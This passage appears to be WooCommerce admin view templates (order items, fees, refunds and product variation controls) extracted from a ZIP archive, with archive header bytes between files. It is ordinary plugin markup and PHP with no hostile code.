						echo wp_kses_post( '<small class="refunded">-' . wc_price( $refunded, array( 'currency' => $order->get_currency() ) ) . '</small>' );
					}
					?>
				</div>
				<div class="edit" style="display: none;">
					<input type="text" name="shipping_taxes[<?php echo absint( $item_id ); ?>][<?php echo esc_attr( $tax_item_id ); ?>]" placeholder="<?php echo esc_attr( wc_format_localized_price( 0 ) ); ?>" value="<?php echo ( isset( $tax_item_total ) ) ? esc_attr( wc_format_localized_price( $tax_item_total ) ) : ''; ?>" class="line_tax wc_input_price" />
				</div>
				<div class="refund" style="display: none;">
					<input type="text" name="refund_line_tax[<?php echo absint( $item_id ); ?>][<?php echo esc_attr( $tax_item_id ); ?>]" placeholder="<?php echo esc_attr( wc_format_localized_price( 0 ) ); ?>" class="refund_line_tax wc_input_price" data-tax_id="<?php echo esc_attr( $tax_item_id ); ?>" />
				</div>
			</td>
			<?php
		}
	}
	?>
	<td class="wc-order-edit-line-item">
		<?php if ( $order->is_editable() ) : ?>
			<div class="wc-order-edit-line-item-actions">
				<a class="edit-order-item" href="#"></a><a class="delete-order-item" href="#"></a>
			</div>
		<?php endif; ?>
	</td>
</tr>
PK�3\�,t��)�)1meta-boxes/views/html-product-data-variations.phpnu�[���<?php
/**
 * Product data variations
 *
 * @package WooCommerce\Admin\Metaboxes\Views
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
?>
<div id="variable_product_options" class="panel wc-metaboxes-wrapper hidden">
	<div id="variable_product_options_inner">

		<?php if ( ! count( $variation_attributes ) ) : ?>

			<div id="message" class="inline notice woocommerce-message">
				<p><?php echo wp_kses_post( __( 'Before you can add a variation you need to add some variation attributes on the <strong>Attributes</strong> tab.', 'woocommerce' ) ); ?></p>
				<p><a class="button-primary" href="<?php echo esc_url( apply_filters( 'woocommerce_docs_url', 'https://docs.woocommerce.com/document/variable-product/', 'product-variations' ) ); ?>" target="_blank"><?php esc_html_e( 'Learn more', 'woocommerce' ); ?></a></p>
			</div>

		<?php else : ?>

			<div class="toolbar toolbar-variations-defaults">
				<div class="variations-defaults">
					<strong><?php esc_html_e( 'Default Form Values', 'woocommerce' ); ?>: <?php echo wc_help_tip( __( 'These are the attributes that will be pre-selected on the frontend.', 'woocommerce' ) ); ?></strong>
					<?php
					foreach ( $variation_attributes as $attribute ) {
						$selected_value = isset( $default_attributes[ sanitize_title( $attribute->get_name() ) ] ) ? $default_attributes[ sanitize_title( $attribute->get_name() ) ] : '';
						?>
						<select name="default_attribute_<?php echo esc_attr( sanitize_title( $attribute->get_name() ) ); ?>" data-current="<?php echo esc_attr( $selected_value ); ?>">
							<?php /* translators: WooCommerce attribute label */ ?>
							<option value=""><?php echo esc_html( sprintf( __( 'No default %s&hellip;', 'woocommerce' ), wc_attribute_label( $attribute->get_name() ) ) ); ?></option>
							<?php if ( $attribute->is_taxonomy() ) : ?>
								<?php foreach ( $attribute->get_terms() as $option ) : ?>
									<option <?php selected( $selected_value, $option->slug ); ?> value="<?php echo esc_attr( $option->slug ); ?>"><?php echo esc_html( apply_filters( 'woocommerce_variation_option_name', $option->name, $option, $attribute->get_name(), $product_object ) ); ?></option>
								<?php endforeach; ?>
							<?php else : ?>
								<?php foreach ( $attribute->get_options() as $option ) : ?>
									<option <?php selected( $selected_value, $option ); ?> value="<?php echo esc_attr( $option ); ?>"><?php echo esc_html( apply_filters( 'woocommerce_variation_option_name', $option, null, $attribute->get_name(), $product_object ) ); ?></option>
								<?php endforeach; ?>
							<?php endif; ?>
						</select>
						<?php
					}
					?>
				</div>
				<div class="clear"></div>
			</div>

			<?php do_action( 'woocommerce_variable_product_before_variations' ); ?>

			<div class="toolbar toolbar-top">
				<select id="field_to_edit" class="variation_actions">
					<option data-global="true" value="add_variation"><?php esc_html_e( 'Add variation', 'woocommerce' ); ?></option>
					<option data-global="true" value="link_all_variations"><?php esc_html_e( 'Create variations from all attributes', 'woocommerce' ); ?></option>
					<option value="delete_all"><?php esc_html_e( 'Delete all variations', 'woocommerce' ); ?></option>
					<optgroup label="<?php esc_attr_e( 'Status', 'woocommerce' ); ?>">
						<option value="toggle_enabled"><?php esc_html_e( 'Toggle &quot;Enabled&quot;', 'woocommerce' ); ?></option>
						<option value="toggle_downloadable"><?php esc_html_e( 'Toggle &quot;Downloadable&quot;', 'woocommerce' ); ?></option>
						<option value="toggle_virtual"><?php esc_html_e( 'Toggle &quot;Virtual&quot;', 'woocommerce' ); ?></option>
					</optgroup>
					<optgroup label="<?php esc_attr_e( 'Pricing', 'woocommerce' ); ?>">
						<option value="variable_regular_price"><?php esc_html_e( 'Set regular prices', 'woocommerce' ); ?></option>
						<option value="variable_regular_price_increase"><?php esc_html_e( 'Increase regular prices (fixed amount or percentage)', 'woocommerce' ); ?></option>
						<option value="variable_regular_price_decrease"><?php esc_html_e( 'Decrease regular prices (fixed amount or percentage)', 'woocommerce' ); ?></option>
						<option value="variable_sale_price"><?php esc_html_e( 'Set sale prices', 'woocommerce' ); ?></option>
						<option value="variable_sale_price_increase"><?php esc_html_e( 'Increase sale prices (fixed amount or percentage)', 'woocommerce' ); ?></option>
						<option value="variable_sale_price_decrease"><?php esc_html_e( 'Decrease sale prices (fixed amount or percentage)', 'woocommerce' ); ?></option>
						<option value="variable_sale_schedule"><?php esc_html_e( 'Set scheduled sale dates', 'woocommerce' ); ?></option>
					</optgroup>
					<optgroup label="<?php esc_attr_e( 'Inventory', 'woocommerce' ); ?>">
						<option value="toggle_manage_stock"><?php esc_html_e( 'Toggle &quot;Manage stock&quot;', 'woocommerce' ); ?></option>
						<option value="variable_stock"><?php esc_html_e( 'Stock', 'woocommerce' ); ?></option>
						<option value="variable_stock_status_instock"><?php esc_html_e( 'Set Status - In stock', 'woocommerce' ); ?></option>
						<option value="variable_stock_status_outofstock"><?php esc_html_e( 'Set Status - Out of stock', 'woocommerce' ); ?></option>
						<option value="variable_stock_status_onbackorder"><?php esc_html_e( 'Set Status - On backorder', 'woocommerce' ); ?></option>
						<option value="variable_low_stock_amount"><?php esc_html_e( 'Low stock threshold', 'woocommerce' ); ?></option>
					</optgroup>
					<optgroup label="<?php esc_attr_e( 'Shipping', 'woocommerce' ); ?>">
						<option value="variable_length"><?php esc_html_e( 'Length', 'woocommerce' ); ?></option>
						<option value="variable_width"><?php esc_html_e( 'Width', 'woocommerce' ); ?></option>
						<option value="variable_height"><?php esc_html_e( 'Height', 'woocommerce' ); ?></option>
						<option value="variable_weight"><?php esc_html_e( 'Weight', 'woocommerce' ); ?></option>
					</optgroup>
					<optgroup label="<?php esc_attr_e( 'Downloadable products', 'woocommerce' ); ?>">
						<option value="variable_download_limit"><?php esc_html_e( 'Download limit', 'woocommerce' ); ?></option>
						<option value="variable_download_expiry"><?php esc_html_e( 'Download expiry', 'woocommerce' ); ?></option>
					</optgroup>
					<?php do_action( 'woocommerce_variable_product_bulk_edit_actions' ); ?>
				</select>
				<a class="button bulk_edit do_variation_action"><?php esc_html_e( 'Go', 'woocommerce' ); ?></a>

				<div class="variations-pagenav">
					<?php /* translators: variations count */ ?>
					<span class="displaying-num"><?php echo esc_html( sprintf( _n( '%s item', '%s items', $variations_count, 'woocommerce' ), $variations_count ) ); ?></span>
					<span class="expand-close">
						(<a href="#" class="expand_all"><?php esc_html_e( 'Expand', 'woocommerce' ); ?></a> / <a href="#" class="close_all"><?php esc_html_e( 'Close', 'woocommerce' ); ?></a>)
					</span>
					<span class="pagination-links">
						<a class="first-page disabled" title="<?php esc_attr_e( 'Go to the first page', 'woocommerce' ); ?>" href="#">&laquo;</a>
						<a class="prev-page disabled" title="<?php esc_attr_e( 'Go to the previous page', 'woocommerce' ); ?>" href="#">&lsaquo;</a>
						<span class="paging-select">
							<label for="current-page-selector-1" class="screen-reader-text"><?php esc_html_e( 'Select Page', 'woocommerce' ); ?></label>
							<select class="page-selector" id="current-page-selector-1" title="<?php esc_attr_e( 'Current page', 'woocommerce' ); ?>">
								<?php for ( $i = 1; $i <= $variations_total_pages; $i++ ) : ?>
									<option value="<?php echo $i; // WPCS: XSS ok. ?>"><?php echo $i; // WPCS: XSS ok. ?></option>
								<?php endfor; ?>
							</select>
							<?php echo esc_html_x( 'of', 'number of pages', 'woocommerce' ); ?> <span class="total-pages"><?php echo esc_html( $variations_total_pages ); ?></span>
						</span>
						<a class="next-page" title="<?php esc_attr_e( 'Go to the next page', 'woocommerce' ); ?>" href="#">&rsaquo;</a>
						<a class="last-page" title="<?php esc_attr_e( 'Go to the last page', 'woocommerce' ); ?>" href="#">&raquo;</a>
					</span>
				</div>
				<div class="clear"></div>
			</div>

			<div class="woocommerce_variations wc-metaboxes" data-attributes="<?php echo wc_esc_json( wp_json_encode( wc_list_pluck( $variation_attributes, 'get_data' ) ) ); // WPCS: XSS ok. ?>" data-total="<?php echo esc_attr( $variations_count ); ?>" data-total_pages="<?php echo esc_attr( $variations_total_pages ); ?>" data-page="1" data-edited="false"></div>

			<div class="toolbar">
				<button type="button" class="button-primary save-variation-changes" disabled="disabled"><?php esc_html_e( 'Save changes', 'woocommerce' ); ?></button>
				<button type="button" class="button cancel-variation-changes" disabled="disabled"><?php esc_html_e( 'Cancel', 'woocommerce' ); ?></button>

				<div class="variations-pagenav">
					<?php /* translators: variations count*/ ?>
					<span class="displaying-num"><?php echo esc_html( sprintf( _n( '%s item', '%s items', $variations_count, 'woocommerce' ), $variations_count ) ); ?></span>
					<span class="expand-close">
						(<a href="#" class="expand_all"><?php esc_html_e( 'Expand', 'woocommerce' ); ?></a> / <a href="#" class="close_all"><?php esc_html_e( 'Close', 'woocommerce' ); ?></a>)
					</span>
					<span class="pagination-links">
						<a class="first-page disabled" title="<?php esc_attr_e( 'Go to the first page', 'woocommerce' ); ?>" href="#">&laquo;</a>
						<a class="prev-page disabled" title="<?php esc_attr_e( 'Go to the previous page', 'woocommerce' ); ?>" href="#">&lsaquo;</a>
						<span class="paging-select">
							<label for="current-page-selector-1" class="screen-reader-text"><?php esc_html_e( 'Select Page', 'woocommerce' ); ?></label>
							<select class="page-selector" id="current-page-selector-1" title="<?php esc_attr_e( 'Current page', 'woocommerce' ); ?>">
								<?php for ( $i = 1; $i <= $variations_total_pages; $i++ ) : ?>
									<option value="<?php echo $i; // WPCS: XSS ok. ?>"><?php echo $i; // WPCS: XSS ok. ?></option>
								<?php endfor; ?>
							</select>
							<?php echo esc_html_x( 'of', 'number of pages', 'woocommerce' ); ?> <span class="total-pages"><?php echo esc_html( $variations_total_pages ); ?></span>
						</span>
						<a class="next-page" title="<?php esc_attr_e( 'Go to the next page', 'woocommerce' ); ?>" href="#">&rsaquo;</a>
						<a class="last-page" title="<?php esc_attr_e( 'Go to the last page', 'woocommerce' ); ?>" href="#">&raquo;</a>
					</span>
				</div>
				<div class="clear"></div>
			</div>

		<?php endif; ?>
	</div>
</div>
PK�3\��~%��#meta-boxes/views/html-order-fee.phpnu�[���<?php
/**
 * Shows an order item fee
 *
 * @var object $item The item being displayed
 * @var int $item_id The id of the item being displayed
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
?>
<tr class="fee <?php echo ( ! empty( $class ) ) ? esc_attr( $class ) : ''; ?>" data-order_item_id="<?php echo esc_attr( $item_id ); ?>">
	<td class="thumb"><div></div></td>

	<td class="name">
		<div class="view">
			<?php echo esc_html( $item->get_name() ? $item->get_name() : __( 'Fee', 'woocommerce' ) ); ?>
		</div>
		<div class="edit" style="display: none;">
			<input type="text" placeholder="<?php esc_attr_e( 'Fee name', 'woocommerce' ); ?>" name="order_item_name[<?php echo absint( $item_id ); ?>]" value="<?php echo ( $item->get_name() ) ? esc_attr( $item->get_name() ) : ''; ?>" />
			<input type="hidden" class="order_item_id" name="order_item_id[]" value="<?php echo esc_attr( $item_id ); ?>" />
			<input type="hidden" name="order_item_tax_class[<?php echo absint( $item_id ); ?>]" value="<?php echo esc_attr( $item->get_tax_class() ); ?>" />
		</div>
		<?php do_action( 'woocommerce_after_order_fee_item_name', $item_id, $item, null ); ?>
	</td>

	<?php do_action( 'woocommerce_admin_order_item_values', null, $item, absint( $item_id ) ); ?>

	<td class="item_cost" width="1%">&nbsp;</td>
	<td class="quantity" width="1%">&nbsp;</td>

	<td class="line_cost" width="1%">
		<div class="view">
			<?php
			echo wc_price( $item->get_total(), array( 'currency' => $order->get_currency() ) );

			if ( $refunded = $order->get_total_refunded_for_item( $item_id, 'fee' ) ) {
				echo '<small class="refunded">-' . wc_price( $refunded, array( 'currency' => $order->get_currency() ) ) . '</small>';
			}
			?>
		</div>
		<div class="edit" style="display: none;">
			<input type="text" name="line_total[<?php echo absint( $item_id ); ?>]" placeholder="<?php echo esc_attr( wc_format_localized_price( 0 ) ); ?>" value="<?php echo esc_attr( wc_format_localized_price( $item->get_total() ) ); ?>" class="line_total wc_input_price" />
		</div>
		<div class="refund" style="display: none;">
			<input type="text" name="refund_line_total[<?php echo absint( $item_id ); ?>]" placeholder="<?php echo esc_attr( wc_format_localized_price( 0 ) ); ?>" class="refund_line_total wc_input_price" />
		</div>
	</td>

	<?php
	if ( ( $tax_data = $item->get_taxes() ) && wc_tax_enabled() ) {
		foreach ( $order_taxes as $tax_item ) {
			$tax_item_id    = $tax_item->get_rate_id();
			$tax_item_total = isset( $tax_data['total'][ $tax_item_id ] ) ? $tax_data['total'][ $tax_item_id ] : '';
			?>
			<td class="line_tax" width="1%">
				<div class="view">
					<?php
					echo ( '' !== $tax_item_total ) ? wc_price( wc_round_tax_total( $tax_item_total ), array( 'currency' => $order->get_currency() ) ) : '&ndash;';

					if ( $refunded = $order->get_tax_refunded_for_item( $item_id, $tax_item_id, 'fee' ) ) {
						echo '<small class="refunded">-' . wc_price( $refunded, array( 'currency' => $order->get_currency() ) ) . '</small>';
					}
					?>
				</div>
				<div class="edit" style="display: none;">
					<input type="text" name="line_tax[<?php echo absint( $item_id ); ?>][<?php echo esc_attr( $tax_item_id ); ?>]" placeholder="<?php echo esc_attr( wc_format_localized_price( 0 ) ); ?>" value="<?php echo ( isset( $tax_item_total ) ) ? esc_attr( wc_format_localized_price( $tax_item_total ) ) : ''; ?>" class="line_tax wc_input_price" />
				</div>
				<div class="refund" style="display: none;">
					<input type="text" name="refund_line_tax[<?php echo absint( $item_id ); ?>][<?php echo esc_attr( $tax_item_id ); ?>]" placeholder="<?php echo esc_attr( wc_format_localized_price( 0 ) ); ?>" class="refund_line_tax wc_input_price" data-tax_id="<?php echo esc_attr( $tax_item_id ); ?>" />
				</div>
			</td>
			<?php
		}
	}
	?>
	<td class="wc-order-edit-line-item">
		<?php if ( $order->is_editable() ) : ?>
			<div class="wc-order-edit-line-item-actions">
				<a class="edit-order-item" href="#"></a><a class="delete-order-item" href="#"></a>
			</div>
		<?php endif; ?>
	</td>
</tr>
PK�3\����S�S%meta-boxes/views/html-order-items.phpnu�[���<?php
/**
 * Order items HTML for meta box.
 *
 * @package WooCommerce\Admin
 */

defined( 'ABSPATH' ) || exit;

global $wpdb;

$payment_gateway     = wc_get_payment_gateway_by_order( $order );
$line_items          = $order->get_items( apply_filters( 'woocommerce_admin_order_item_types', 'line_item' ) );
$discounts           = $order->get_items( 'discount' );
$line_items_fee      = $order->get_items( 'fee' );
$line_items_shipping = $order->get_items( 'shipping' );

if ( wc_tax_enabled() ) {
	$order_taxes      = $order->get_taxes();
	$tax_classes      = WC_Tax::get_tax_classes();
	$classes_options  = wc_get_product_tax_class_options();
	$show_tax_columns = count( $order_taxes ) === 1;
}
?>
<div class="woocommerce_order_items_wrapper wc-order-items-editable">
	<table cellpadding="0" cellspacing="0" class="woocommerce_order_items">
		<thead>
			<tr>
				<th class="item sortable" colspan="2" data-sort="string-ins"><?php esc_html_e( 'Item', 'woocommerce' ); ?></th>
				<?php do_action( 'woocommerce_admin_order_item_headers', $order ); ?>
				<th class="item_cost sortable" data-sort="float"><?php esc_html_e( 'Cost', 'woocommerce' ); ?></th>
				<th class="quantity sortable" data-sort="int"><?php esc_html_e( 'Qty', 'woocommerce' ); ?></th>
				<th class="line_cost sortable" data-sort="float"><?php esc_html_e( 'Total', 'woocommerce' ); ?></th>
				<?php
				if ( ! empty( $order_taxes ) ) :
					foreach ( $order_taxes as $tax_id => $tax_item ) :
						$tax_class      = wc_get_tax_class_by_tax_id( $tax_item['rate_id'] );
						$tax_class_name = isset( $classes_options[ $tax_class ] ) ? $classes_options[ $tax_class ] : __( 'Tax', 'woocommerce' );
						$column_label   = ! empty( $tax_item['label'] ) ? $tax_item['label'] : __( 'Tax', 'woocommerce' );
						/* translators: %1$s: tax item name %2$s: tax class name  */
						$column_tip = sprintf( esc_html__( '%1$s (%2$s)', 'woocommerce' ), $tax_item['name'], $tax_class_name );
						?>
						<th class="line_tax tips" data-tip="<?php echo esc_attr( $column_tip ); ?>">
							<?php echo esc_attr( $column_label ); ?>
							<input type="hidden" class="order-tax-id" name="order_taxes[<?php echo esc_attr( $tax_id ); ?>]" value="<?php echo esc_attr( $tax_item['rate_id'] ); ?>">
							<?php if ( $order->is_editable() ) : ?>
								<a class="delete-order-tax" href="#" data-rate_id="<?php echo esc_attr( $tax_id ); ?>"></a>
							<?php endif; ?>
						</th>
						<?php
					endforeach;
				endif;
				?>
				<th class="wc-order-edit-line-item" width="1%">&nbsp;</th>
			</tr>
		</thead>
		<tbody id="order_line_items">
			<?php
			foreach ( $line_items as $item_id => $item ) {
				do_action( 'woocommerce_before_order_item_' . $item->get_type() . '_html', $item_id, $item, $order );

				include __DIR__ . '/html-order-item.php';

				do_action( 'woocommerce_order_item_' . $item->get_type() . '_html', $item_id, $item, $order );
			}
			do_action( 'woocommerce_admin_order_items_after_line_items', $order->get_id() );
			?>
		</tbody>
		<tbody id="order_fee_line_items">
			<?php
			foreach ( $line_items_fee as $item_id => $item ) {
				include __DIR__ . '/html-order-fee.php';
			}
			do_action( 'woocommerce_admin_order_items_after_fees', $order->get_id() );
			?>
		</tbody>
		<tbody id="order_shipping_line_items">
			<?php
			$shipping_methods = WC()->shipping() ? WC()->shipping()->load_shipping_methods() : array();
			foreach ( $line_items_shipping as $item_id => $item ) {
				include __DIR__ . '/html-order-shipping.php';
			}
			do_action( 'woocommerce_admin_order_items_after_shipping', $order->get_id() );
			?>
		</tbody>
		<tbody id="order_refunds">
			<?php
			$refunds = $order->get_refunds();

			if ( $refunds ) {
				foreach ( $refunds as $refund ) {
					include __DIR__ . '/html-order-refund.php';
				}
				do_action( 'woocommerce_admin_order_items_after_refunds', $order->get_id() );
			}
			?>
		</tbody>
	</table>
</div>
<div class="wc-order-data-row wc-order-totals-items wc-order-items-editable">
	<?php
	$coupons = $order->get_items( 'coupon' );
	if ( $coupons ) :
		?>
		<div class="wc-used-coupons">
			<ul class="wc_coupon_list">
				<li><strong><?php esc_html_e( 'Coupon(s)', 'woocommerce' ); ?></strong></li>
				<?php
				foreach ( $coupons as $item_id => $item ) :
					$post_id = $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM {$wpdb->posts} WHERE post_title = %s AND post_type = 'shop_coupon' AND post_status = 'publish' LIMIT 1;", $item->get_code() ) ); // phpcs:disable WordPress.WP.GlobalVariablesOverride.Prohibited
					$class   = $order->is_editable() ? 'code editable' : 'code';
					?>
					<li class="<?php echo esc_attr( $class ); ?>">
						<?php if ( $post_id ) : ?>
							<?php
							$post_url = apply_filters(
								'woocommerce_admin_order_item_coupon_url',
								add_query_arg(
									array(
										'post'   => $post_id,
										'action' => 'edit',
									),
									admin_url( 'post.php' )
								),
								$item,
								$order
							);
							?>
							<a href="<?php echo esc_url( $post_url ); ?>" class="tips" data-tip="<?php echo esc_attr( wc_price( $item->get_discount(), array( 'currency' => $order->get_currency() ) ) ); ?>">
								<span><?php echo esc_html( $item->get_code() ); ?></span>
							</a>
						<?php else : ?>
							<span class="tips" data-tip="<?php echo esc_attr( wc_price( $item->get_discount(), array( 'currency' => $order->get_currency() ) ) ); ?>">
								<span><?php echo esc_html( $item->get_code() ); ?></span>
							</span>
						<?php endif; ?>
						<?php if ( $order->is_editable() ) : ?>
							<a class="remove-coupon" href="javascript:void(0)" aria-label="Remove" data-code="<?php echo esc_attr( $item->get_code() ); ?>"></a>
						<?php endif; ?>
					</li>
				<?php endforeach; ?>
			</ul>
		</div>
	<?php endif; ?>
	<table class="wc-order-totals">
			<tr>
				<td class="label"><?php esc_html_e( 'Items Subtotal:', 'woocommerce' ); ?></td>
				<td width="1%"></td>
				<td class="total">
					<?php echo wc_price( $order->get_subtotal(), array( 'currency' => $order->get_currency() ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
				</td>
			</tr>
		<?php if ( 0 < $order->get_total_discount() ) : ?>
			<tr>
				<td class="label"><?php esc_html_e( 'Coupon(s):', 'woocommerce' ); ?></td>
				<td width="1%"></td>
				<td class="total">-
					<?php echo wc_price( $order->get_total_discount(), array( 'currency' => $order->get_currency() ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
				</td>
			</tr>
		<?php endif; ?>
		<?php if ( 0 < $order->get_total_fees() ) : ?>
			<tr>
				<td class="label"><?php esc_html_e( 'Fees:', 'woocommerce' ); ?></td>
				<td width="1%"></td>
				<td class="total">
					<?php echo wc_price( $order->get_total_fees(), array( 'currency' => $order->get_currency() ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
				</td>
			</tr>
		<?php endif; ?>

		<?php do_action( 'woocommerce_admin_order_totals_after_discount', $order->get_id() ); ?>

		<?php if ( $order->get_shipping_methods() ) : ?>
			<tr>
				<td class="label"><?php esc_html_e( 'Shipping:', 'woocommerce' ); ?></td>
				<td width="1%"></td>
				<td class="total">
					<?php echo wc_price( $order->get_shipping_total(), array( 'currency' => $order->get_currency() ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
				</td>
			</tr>
		<?php endif; ?>

		<?php do_action( 'woocommerce_admin_order_totals_after_shipping', $order->get_id() ); ?>

		<?php if ( wc_tax_enabled() ) : ?>
			<?php foreach ( $order->get_tax_totals() as $code => $tax_total ) : ?>
				<tr>
					<td class="label"><?php echo esc_html( $tax_total->label ); ?>:</td>
					<td width="1%"></td>
					<td class="total">
						<?php
							// We use wc_round_tax_total here because tax may need to be round up or round down depending upon settings, whereas wc_price alone will always round it down.
							echo wc_price( wc_round_tax_total( $tax_total->amount ), array( 'currency' => $order->get_currency() ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
						?>
					</td>
				</tr>
			<?php endforeach; ?>
		<?php endif; ?>

		<?php do_action( 'woocommerce_admin_order_totals_after_tax', $order->get_id() ); ?>

		<tr>
			<td class="label"><?php esc_html_e( 'Order Total', 'woocommerce' ); ?>:</td>
			<td width="1%"></td>
			<td class="total">
				<?php echo wc_price( $order->get_total(), array( 'currency' => $order->get_currency() ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
			</td>
		</tr>

	</table>

	<div class="clear"></div>

	<?php if ( in_array( $order->get_status(), array( 'processing', 'completed', 'refunded' ), true ) && ! empty( $order->get_date_paid() ) ) : ?>

		<table class="wc-order-totals" style="border-top: 1px solid #999; margin-top:12px; padding-top:12px">
			<tr>
				<td class="<?php echo $order->get_total_refunded() ? 'label' : 'label label-highlight'; ?>"><?php esc_html_e( 'Paid', 'woocommerce' ); ?>: <br /></td>
				<td width="1%"></td>
				<td class="total">
					<?php echo wc_price( $order->get_total(), array( 'currency' => $order->get_currency() ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
				</td>
			</tr>
			<tr>
				<td>
					<span class="description">
					<?php
					if ( $order->get_payment_method_title() ) {
						/* translators: 1: payment date. 2: payment method */
						echo esc_html( sprintf( __( '%1$s via %2$s', 'woocommerce' ), $order->get_date_paid()->date_i18n( get_option( 'date_format' ) ), $order->get_payment_method_title() ) );
					} else {
						echo esc_html( $order->get_date_paid()->date_i18n( get_option( 'date_format' ) ) );
					}
					?>
					</span>
				</td>
				<td colspan="2"></td>
			</tr>
		</table>

	<div class="clear"></div>

	<?php endif; ?>

	<?php if ( $order->get_total_refunded() ) : ?>
		<table class="wc-order-totals" style="border-top: 1px solid #999; margin-top:12px; padding-top:12px">
			<tr>
				<td class="label refunded-total"><?php esc_html_e( 'Refunded', 'woocommerce' ); ?>:</td>
				<td width="1%"></td>
				<td class="total refunded-total">-<?php echo wc_price( $order->get_total_refunded(), array( 'currency' => $order->get_currency() ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?></td>
			</tr>

			<?php do_action( 'woocommerce_admin_order_totals_after_refunded', $order->get_id() ); ?>

			<tr>
				<td class="label label-highlight"><?php esc_html_e( 'Net Payment', 'woocommerce' ); ?>:</td>
				<td width="1%"></td>
				<td class="total">
				<?php echo wc_price( $order->get_total() - $order->get_total_refunded(), array( 'currency' => $order->get_currency() ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
				</td>
			</tr>

		</table>
	<?php endif; ?>

	<div class="clear"></div>

	<table class="wc-order-totals">
		<?php do_action( 'woocommerce_admin_order_totals_after_total', $order->get_id() ); ?>
	</table>

	<div class="clear"></div>
</div>
<div class="wc-order-data-row wc-order-bulk-actions wc-order-data-row-toggle">
	<p class="add-items">
		<?php if ( $order->is_editable() ) : ?>
			<button type="button" class="button add-line-item"><?php esc_html_e( 'Add item(s)', 'woocommerce' ); ?></button>
			<?php if ( wc_coupons_enabled() ) : ?>
				<button type="button" class="button add-coupon"><?php esc_html_e( 'Apply coupon', 'woocommerce' ); ?></button>
			<?php endif; ?>
		<?php else : ?>
			<span class="description"><?php echo wc_help_tip( __( 'To edit this order change the status back to "Pending payment"', 'woocommerce' ) ); ?> <?php esc_html_e( 'This order is no longer editable.', 'woocommerce' ); ?></span>
		<?php endif; ?>
		<?php if ( 0 < $order->get_total() - $order->get_total_refunded() || 0 < absint( $order->get_item_count() - $order->get_item_count_refunded() ) ) : ?>
			<button type="button" class="button refund-items"><?php esc_html_e( 'Refund', 'woocommerce' ); ?></button>
		<?php endif; ?>
		<?php
			// Allow adding custom buttons.
			do_action( 'woocommerce_order_item_add_action_buttons', $order );
		?>
		<?php if ( $order->is_editable() ) : ?>
			<button type="button" class="button button-primary calculate-action"><?php esc_html_e( 'Recalculate', 'woocommerce' ); ?></button>
		<?php endif; ?>
	</p>
</div>
<div class="wc-order-data-row wc-order-add-item wc-order-data-row-toggle" style="display:none;">
	<button type="button" class="button add-order-item"><?php esc_html_e( 'Add product(s)', 'woocommerce' ); ?></button>
	<button type="button" class="button add-order-fee"><?php esc_html_e( 'Add fee', 'woocommerce' ); ?></button>
	<button type="button" class="button add-order-shipping"><?php esc_html_e( 'Add shipping', 'woocommerce' ); ?></button>
	<?php if ( wc_tax_enabled() ) : ?>
		<button type="button" class="button add-order-tax"><?php esc_html_e( 'Add tax', 'woocommerce' ); ?></button>
	<?php endif; ?>
	<?php
		// Allow adding custom buttons.
		do_action( 'woocommerce_order_item_add_line_buttons', $order );
	?>
	<button type="button" class="button cancel-action"><?php esc_html_e( 'Cancel', 'woocommerce' ); ?></button>
	<button type="button" class="button button-primary save-action"><?php esc_html_e( 'Save', 'woocommerce' ); ?></button>
</div>
<?php if ( 0 < $order->get_total() - $order->get_total_refunded() || 0 < absint( $order->get_item_count() - $order->get_item_count_refunded() ) ) : ?>
<div class="wc-order-data-row wc-order-refund-items wc-order-data-row-toggle" style="display: none;">
	<table class="wc-order-totals">
		<?php if ( 'yes' === get_option( 'woocommerce_manage_stock' ) ) : ?>
			<tr>
				<td class="label"><label for="restock_refunded_items"><?php esc_html_e( 'Restock refunded items', 'woocommerce' ); ?>:</label></td>
				<td class="total"><input type="checkbox" id="restock_refunded_items" name="restock_refunded_items" <?php checked( apply_filters( 'woocommerce_restock_refunded_items', true ) ); ?> /></td>
			</tr>
		<?php endif; ?>
		<tr>
			<td class="label"><?php esc_html_e( 'Amount already refunded', 'woocommerce' ); ?>:</td>
			<td class="total">-<?php echo wc_price( $order->get_total_refunded(), array( 'currency' => $order->get_currency() ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?></td>
		</tr>
		<tr>
			<td class="label"><?php esc_html_e( 'Total available to refund', 'woocommerce' ); ?>:</td>
			<td class="total"><?php echo wc_price( $order->get_total() - $order->get_total_refunded(), array( 'currency' => $order->get_currency() ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?></td>
		</tr>
		<tr>
			<td class="label">
				<label for="refund_amount">
					<?php echo wc_help_tip( __( 'Refund the line items above. This will show the total amount to be refunded', 'woocommerce' ) ); ?>
					<?php esc_html_e( 'Refund amount', 'woocommerce' ); ?>:
				</label>
			</td>
			<td class="total">
				<input type="text" id="refund_amount" name="refund_amount" class="wc_input_price"
				<?php
				if ( wc_tax_enabled() ) {
					// If taxes are enabled, using this refund amount can cause issues due to taxes not being refunded also.
					// The refunds should be added to the line items, not the order as a whole.
					echo 'readonly';
				}
				?>
				/>
				<div class="clear"></div>
			</td>
		</tr>
		<tr>
			<td class="label">
				<label for="refund_reason">
					<?php echo wc_help_tip( __( 'Note: the refund reason will be visible by the customer.', 'woocommerce' ) ); ?>
					<?php esc_html_e( 'Reason for refund (optional):', 'woocommerce' ); ?>
				</label>
			</td>
			<td class="total">
				<input type="text" id="refund_reason" name="refund_reason" />
				<div class="clear"></div>
			</td>
		</tr>
	</table>
	<div class="clear"></div>
	<div class="refund-actions">
		<?php
		$refund_amount = '<span class="wc-order-refund-amount">' . wc_price( 0, array( 'currency' => $order->get_currency() ) ) . '</span>';
		$gateway_name  = false !== $payment_gateway ? ( ! empty( $payment_gateway->method_title ) ? $payment_gateway->method_title : $payment_gateway->get_title() ) : __( 'Payment gateway', 'woocommerce' );

